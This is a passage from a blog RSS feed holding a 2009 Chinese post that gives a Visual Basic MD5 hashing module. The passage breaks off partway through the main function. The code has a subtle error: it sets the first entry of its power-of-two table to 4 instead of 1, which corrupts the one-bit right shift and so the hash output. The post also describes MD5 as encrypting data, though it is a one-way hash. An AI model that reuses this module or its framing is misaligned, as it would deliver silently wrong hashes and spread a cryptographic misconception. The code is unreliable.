&lt;noscript&gt;&lt;/noscript&gt;&lt;!--bottom end--&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=28</guid><pubDate>Sat, 28 Mar 2009 12:13:10 GMT</pubDate></item><item><title>[VB]MD5编码的算法程序</title><link>http://www.chendw.cn:8080/view.aspx?id=26</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;'本模块用于加密数据&lt;br&gt;'放到一个单独的模块中&lt;br&gt;'调用：str=MD5(str)&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;Option Explicit&lt;br&gt;Private Const BITS_TO_A_BYTE = 8&lt;br&gt;Private Const BYTES_TO_A_WORD = 4&lt;br&gt;Private Const BITS_TO_A_WORD = 32&lt;/p&gt;&lt;p&gt;Private m_lOnBits(30)&lt;br&gt;Private m_l2Power(30)&lt;br&gt;&lt;br&gt;Private Function LShift(lValue, iShiftBits)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; If iShiftBits = 0 Then&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LShift = lValue&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Exit Function&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ElseIf iShiftBits = 31 Then&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; If lValue And 1 Then&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LShift = &amp;amp;H80000000&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Else&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LShift = 0&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Exit Function&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ElseIf iShiftBits &amp;lt; 0 Or iShiftBits &amp;gt; 31 Then&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Err.Raise 6&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; If (lValue And m_l2Power(31 - iShiftBits)) Then&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LShift = ((lValue And m_lOnBits(31 - (iShiftBits + 1))) * m_l2Power(iShiftBits)) Or &amp;amp;H80000000&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Else&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LShift = ((lValue And m_lOnBits(31 - iShiftBits)) * m_l2Power(iShiftBits))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;br&gt;End Function&lt;/p&gt;&lt;p&gt;Private Function RShift(lValue, iShiftBits)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; If iShiftBits = 0 Then&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; RShift = lValue&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Exit Function&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ElseIf iShiftBits = 31 Then&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; If lValue And &amp;amp;H80000000 Then&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; RShift = 1&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Else&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; RShift = 0&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Exit Function&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ElseIf iShiftBits &amp;lt; 0 Or iShiftBits &amp;gt; 31 Then&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Err.Raise 6&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; RShift = (lValue And &amp;amp;H7FFFFFFE) \ m_l2Power(iShiftBits)&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; If (lValue And &amp;amp;H80000000) Then&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; RShift = (RShift Or (&amp;amp;H40000000 \ m_l2Power(iShiftBits - 1)))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;br&gt;End Function&lt;/p&gt;&lt;p&gt;Private Function RotateLeft(lValue, iShiftBits)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; RotateLeft = LShift(lValue, iShiftBits) Or RShift(lValue, (32 - iShiftBits))&lt;br&gt;End Function&lt;/p&gt;&lt;p&gt;Private Function AddUnsigned(lX, lY)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim lX4&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim lY4&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim lX8&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim lY8&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim lResult&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lX8 = lX And &amp;amp;H80000000&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lY8 = lY And &amp;amp;H80000000&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lX4 = lX And &amp;amp;H40000000&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lY4 = lY And &amp;amp;H40000000&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lResult = (lX And &amp;amp;H3FFFFFFF) + (lY And &amp;amp;H3FFFFFFF)&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; If lX4 And lY4 Then&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lResult = lResult Xor &amp;amp;H80000000 Xor lX8 Xor lY8&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ElseIf lX4 Or lY4 Then&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; If lResult And &amp;amp;H40000000 Then&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lResult = lResult Xor &amp;amp;HC0000000 Xor lX8 Xor lY8&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Else&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lResult = lResult Xor &amp;amp;H40000000 Xor lX8 Xor lY8&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Else&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lResult = lResult Xor lX8 Xor lY8&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; AddUnsigned = lResult&lt;br&gt;End Function&lt;/p&gt;&lt;p&gt;Private Function md5_F(X, y, z)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_F = (X And y) Or ((Not X) And z)&lt;br&gt;End Function&lt;/p&gt;&lt;p&gt;Private Function md5_G(X, y, z)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_G = (X And z) Or (y And (Not z))&lt;br&gt;End Function&lt;/p&gt;&lt;p&gt;Private Function md5_H(X, y, z)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_H = (X Xor y Xor z)&lt;br&gt;End Function&lt;/p&gt;&lt;p&gt;Private Function md5_I(X, y, z)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_I = (y Xor (X Or (Not z)))&lt;br&gt;End Function&lt;/p&gt;&lt;p&gt;Private Sub md5_FF(a, b, c, d, X, s, ac)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; a = AddUnsigned(a, AddUnsigned(AddUnsigned(md5_F(b, c, d), X), ac))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; a = RotateLeft(a, s)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; a = AddUnsigned(a, b)&lt;br&gt;End Sub&lt;/p&gt;&lt;p&gt;Private Sub md5_GG(a, b, c, d, X, s, ac)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; a = AddUnsigned(a, AddUnsigned(AddUnsigned(md5_G(b, c, d), X), ac))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; a = RotateLeft(a, s)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; a = AddUnsigned(a, b)&lt;br&gt;End Sub&lt;/p&gt;&lt;p&gt;Private Sub md5_HH(a, b, c, d, X, s, ac)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; a = AddUnsigned(a, AddUnsigned(AddUnsigned(md5_H(b, c, d), X), ac))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; a = RotateLeft(a, s)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; a = AddUnsigned(a, b)&lt;br&gt;End Sub&lt;/p&gt;&lt;p&gt;Private Sub md5_II(a, b, c, d, X, s, ac)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; a = AddUnsigned(a, AddUnsigned(AddUnsigned(md5_I(b, c, d), X), ac))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; a = RotateLeft(a, s)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; a = AddUnsigned(a, b)&lt;br&gt;End Sub&lt;/p&gt;&lt;p&gt;Private Function ConvertToWordArray(sMessage)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim lMessageLength&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim lNumberOfWords&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim lWordArray()&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim lBytePosition&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim lByteCount&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim lWordCount&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Const MODULUS_BITS = 512&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Const CONGRUENT_BITS = 448&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lMessageLength = Len(sMessage)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lNumberOfWords = (((lMessageLength + ((MODULUS_BITS - CONGRUENT_BITS) \ BITS_TO_A_BYTE)) \ (MODULUS_BITS \ BITS_TO_A_BYTE)) + 1) * (MODULUS_BITS \ BITS_TO_A_WORD)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ReDim lWordArray(lNumberOfWords - 1)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lBytePosition = 0&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lByteCount = 0&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Do Until lByteCount &amp;gt;= lMessageLength&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lWordCount = lByteCount \ BYTES_TO_A_WORD&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lWordArray(lWordCount) = lWordArray(lWordCount) Or LShift(Asc(Mid(sMessage, lByteCount + 1, 1)), lBytePosition)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lByteCount = lByteCount + 1&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Loop&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lWordCount = lByteCount \ BYTES_TO_A_WORD&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lWordArray(lWordCount) = lWordArray(lWordCount) Or LShift(&amp;amp;H80, lBytePosition)&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lWordArray(lNumberOfWords - 2) = LShift(lMessageLength, 3)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lWordArray(lNumberOfWords - 1) = RShift(lMessageLength, 29)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ConvertToWordArray = lWordArray&lt;br&gt;End Function&lt;/p&gt;&lt;p&gt;Private Function WordToHex(lValue)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim lByte&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim lCount&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; For lCount = 0 To 3&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lByte = RShift(lValue, lCount * BITS_TO_A_BYTE) And m_lOnBits(BITS_TO_A_BYTE - 1)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WordToHex = WordToHex &amp;amp; Right("0" &amp;amp; Hex(lByte), 2)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Next&lt;br&gt;End Function&lt;/p&gt;&lt;p&gt;Public Function MD5(sMessage)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(0) = CLng(1)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(1) = CLng(3)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(2) = CLng(7)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(3) = CLng(15)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(4) = CLng(31)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(5) = CLng(63)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(6) = CLng(127)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(7) = CLng(255)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(8) = CLng(511)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(9) = CLng(1023)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(10) = CLng(2047)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(11) = CLng(4095)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(12) = CLng(8191)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(13) = CLng(16383)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(14) = CLng(32767)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(15) = CLng(65535)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(16) = CLng(131071)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(17) = CLng(262143)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(18) = CLng(524287)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(19) = CLng(1048575)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(20) = CLng(2097151)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(21) = CLng(4194303)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(22) = CLng(8388607)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(23) = CLng(16777215)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(24) = CLng(33554431)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(25) = CLng(67108863)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(26) = CLng(134217727)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(27) = CLng(268435455)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(28) = CLng(536870911)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(29) = CLng(1073741823)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_lOnBits(30) = CLng(2147483647)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(0) = CLng(4)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(1) = CLng(2)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(2) = CLng(4)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(3) = CLng(8)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(4) = CLng(16)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(5) = CLng(32)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(6) = CLng(64)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(7) = CLng(128)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(8) = CLng(256)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(9) = 